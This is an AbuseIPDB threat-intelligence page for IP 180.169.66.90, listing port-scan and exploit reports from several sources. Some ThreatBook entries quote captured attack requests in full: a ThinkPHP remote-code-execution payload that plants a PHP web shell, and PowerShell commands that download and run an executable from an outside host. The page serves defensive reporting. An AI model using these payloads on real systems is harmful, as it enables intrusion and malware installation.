JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 180.169.66.90

180.169.66.90 was found in our database!

This IP was reported 20 times. Confidence of Abuse is 0%: ?

ISP	Shanghai Juliu Information Technology Co., Ltd.
Usage Type	Fixed Line ISP
ASN	AS4812
Domain Name	chinatelecom.cn
Country	🇨🇳 China
City	Shanghai, Shanghai

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 180.169.66.90

Whois 180.169.66.90

IP Abuse Reports for 180.169.66.90:

This IP address has been reported a total of 20 times from 11 distinct sources. 180.169.66.90 was first reported on September 7th 2022, and the most recent report was 3 years ago.

Old Reports: The most recent abuse report for this IP address is from 3 years ago . It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇦🇺 ozisp.com.au	2023-08-20 23:46:59 (3 years ago)	CN_MAINT-CHINANET-SH_<33>1692575218 [1:2024808:4] ET WEB_SPECIFIC_APPS Apache Tomcat Possible CVE-20 ... show more CN_MAINT-CHINANET-SH_<33>1692575218 [1:2024808:4] ET WEB_SPECIFIC_APPS Apache Tomcat Possible CVE-2017-12617 JSP Upload Bypass Attempt [Classification: Web Application Attack] [Priority: 1] {TCP} 180.169.66.90:64269 show less	Hacking
🇯🇵 stfw	2023-08-14 04:26:36 (3 years ago)	8085/tcp 8020/tcp [2023-06-16/08-14]2pkt	Port Scan
🇰🇭 NAGA	2023-08-02 03:51:48 (3 years ago)	2023/08/02 09:39:57 Threat Name:FxCodeShell Webshell Command And Control Traffic Detection	Port Scan Hacking Web App Attack
🇦🇺 ozisp.com.au	2023-08-01 01:35:30 (3 years ago)	CN_MAINT-CHINANET-SH_<33>1690853728 [1:2022115:1] ET EXPLOIT Serialized Java Object Calling Common C ... show more CN_MAINT-CHINANET-SH_<33>1690853728 [1:2022115:1] ET EXPLOIT Serialized Java Object Calling Common Collection Function [Classification: Misc activity] [Priority: 3] {TCP} 180.169.66.90:54467 show less	Hacking
🇫🇷 Emily	2023-07-05 05:54:41 (3 years ago)	Jul 5 07:54:40 box kernel: [40651.307921] [UFW BLOCK] IN=eth0 OUT= MAC=[munged] SRC=180.169.66.90 D ... show more Jul 5 07:54:40 box kernel: [40651.307921] [UFW BLOCK] IN=eth0 OUT= MAC=[munged] SRC=180.169.66.90 DST=[munged] LEN=40 TOS=0x00 PREC=0x00 TTL=242 ID=18572 PROTO=TCP SPT=56838 DPT=8081 WINDOW=1024 RES=0x00 SYN URGP=0 show less	Port Scan
🇩🇪 _ArminS_	2023-06-19 01:25:55 (3 years ago)	SP-Scan 58180:8000 detected 2023.06.19 03:25:55 blocked until 2023.08.07 20:28:42	Port Scan
🇯🇵 stfw	2023-06-16 04:24:17 (3 years ago)	8020/tcp [2023-06-16]1pkt	Port Scan
🇨🇳 ThreatBook.io	2023-06-09 00:48:09 (3 years ago)	ThreatBook Intelligence: Scanner,Zombie more details on https://threatbook.io/ip/180.169.66.90 2023- ... show more ThreatBook Intelligence: Scanner,Zombie more details on https://threatbook.io/ip/180.169.66.90 2023-06-08 07:30:30 /FxCodeShell.jsp%20 2023-06-08 07:30:30 /FxCodeShell.jsp/ 2023-06-08 07:30:30 /FxCodeShell.jsp?view=FxxkMyLie1836710Aa&os=1&address=http://cb.fuckingmy.life/download.exe 2023-06-08 07:30:30 /FxCodeShell.jsp::$DATA show less	Web App Attack
Anonymous	2023-05-16 04:48:59 (3 years ago)	May 15 18:51:09 kernel: DROP IN=eth0 OUT= MAC=REDACTEDMYDEVICEMAC SRC=180.169.66.90 DST=REDACEDMYPUB ... show more May 15 18:51:09 kernel: DROP IN=eth0 OUT= MAC=REDACTEDMYDEVICEMAC SRC=180.169.66.90 DST=REDACEDMYPUBLICIP LEN=40 TOS=0x00 PREC=0x00 TTL=241 ID=52645 PROTO=TCP SPT=42040 DPT=89 SEQ=3411138686 ACK=0 WINDOW=1024 RES=0x00 SYN URGP=0 MARK=0x8000000 show less	DDoS Attack Port Scan Hacking
🇦🇺 ozisp.com.au	2023-04-28 02:02:21 (3 years ago)	CN_MAINT-CHINANET-SH_<33>1682647340 [1:2022115:1] ET EXPLOIT Serialized Java Object Calling Common C ... show more CN_MAINT-CHINANET-SH_<33>1682647340 [1:2022115:1] ET EXPLOIT Serialized Java Object Calling Common Collection Function [Classification: Misc activity] [Priority: 3] {TCP} 180.169.66.90:55631 show less	Hacking
🇨🇳 ThreatBook.io	2023-04-18 01:07:01 (3 years ago)	ThreatBook Intelligence: Zombie,Exploit more details on https://threatbook.io/ip/180.169.66.90 2023- ... show more ThreatBook Intelligence: Zombie,Exploit more details on https://threatbook.io/ip/180.169.66.90 2023-04-17 10:42:01 /FxCodeShell.jsp?view=FxxkMyLie1836710Aa&os=1&address=http://cb.fuckingmy.life/download.exe 2023-04-17 10:42:01 /FxCodeShell.jsp%20 2023-04-17 10:42:01 /FxCodeShell.jsp::$DATA 2023-04-17 10:42:01 /FxCodeShell.jsp/ show less	Web App Attack
🇨🇳 ThreatBook.io	2023-04-07 00:51:32 (3 years ago)	ThreatBook Intelligence: Zombie,Exploit more details on https://threatbook.io/ip/180.169.66.90 2023- ... show more ThreatBook Intelligence: Zombie,Exploit more details on https://threatbook.io/ip/180.169.66.90 2023-04-06 11:33:33 /FxCodeShell.jsp?view=FxxkMyLie1836710Aa&os=1&address=http://cb.fuckingmy.life/download.exe 2023-04-06 11:33:33 /FxCodeShell.jsp::$DATA 2023-04-06 11:33:33 /FxCodeShell.jsp%20 2023-04-06 11:33:33 /FxCodeShell.jsp/ show less	Web App Attack
🇨🇳 ThreatBook.io	2023-03-24 00:28:31 (3 years ago)	ThreatBook Intelligence: Zombie,Spam more details on https://threatbook.io/ip/180.169.66.90 2023-03- ... show more ThreatBook Intelligence: Zombie,Spam more details on https://threatbook.io/ip/180.169.66.90 2023-03-23 12:02:22 /public/hydra.php?xcmd=cmd.exe%20/c%20powershell%20(new-object%20System.Net.WebClient).DownloadFile('http://cb.fuckingmy.life/download.exe','%SystemRoot%/Temp/dpmlzhaimylaprc719.exe');start%20%SystemRoot%/Temp/dpmlzhaimylaprc719.exe 2023-03-23 12:02:22 /public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^<?php%20$action%20=%20$_GET['xcmd'];system($action);?^>>hydra.php 2023-03-23 12:02:22 /public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd.exe%20/c%20powershell%20(new-object%20System.Net.WebClient).DownloadFile('http://cb.fuckingmy.life/download.exe','%SystemRoot%/Temp/dpmlzhaimylaprc719.exe');start%20%SystemRoot%/Temp/dpmlzhaimylaprc719.exe show less	Web App Attack
🇨🇳 ThreatBook.io	2023-03-21 00:19:08 (3 years ago)	ThreatBook Intelligence: Zombie,Spam more details on https://threatbook.io/ip/180.169.66.90 2023-03- ... show more ThreatBook Intelligence: Zombie,Spam more details on https://threatbook.io/ip/180.169.66.90 2023-03-20 12:35:50 /public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^<?php%20$action%20=%20$_GET['xcmd'];system($action);?^>>hydra.php 2023-03-20 12:35:50 /public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd.exe%20/c%20powershell%20(new-object%20System.Net.WebClient).DownloadFile('http://cb.fuckingmy.life/download.exe','%SystemRoot%/Temp/ygbkyezcbhaouxj8152.exe');start%20%SystemRoot%/Temp/ygbkyezcbhaouxj8152.exe 2023-03-20 12:35:50 /public/hydra.php?xcmd=cmd.exe%20/c%20powershell%20(new-object%20System.Net.WebClient).DownloadFile('http://cb.fuckingmy.life/download.exe','%SystemRoot%/Temp/ygbkyezcbhaouxj8152.exe');start%20%SystemRoot%/Temp/ygbkyezcbhaouxj8152.exe show less	Web App Attack
🇦🇺 ozisp.com.au	2023-03-16 05:51:13 (3 years ago)	CN_MAINT-CHINANET-SH_<33>1678945872 [1:2022115:1] ET EXPLOIT Serialized Java Object Calling Common C ... show more CN_MAINT-CHINANET-SH_<33>1678945872 [1:2022115:1] ET EXPLOIT Serialized Java Object Calling Common Collection Function [Classification: Misc activity] [Priority: 3] {TCP} 180.169.66.90:60084 show less	Hacking

Showing 1 to 15 of 20 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇰🇷 211.223.107.86

🇺🇸 204.44.67.249

🇻🇳 171.244.40.247

🇷🇴 80.94.92.234

🇬🇧 45.86.203.67

🇱🇹 213.176.26.51

🇦🇺 192.250.232.93

🇬🇧 45.86.203.5

🇬🇧 194.50.235.154

🇺🇿 188.113.240.57

🇺🇸 172.68.70.204

🇺🇸 172.68.70.176

🇷🇺 91.214.143.65

🇮🇩 69.5.23.222

🇱🇹 213.176.26.165

🇫🇷 178.32.215.116

🇺🇸 172.68.70.205

🇺🇸 172.68.70.177

🇰🇷 115.68.208.117

🇺🇸 107.150.105.116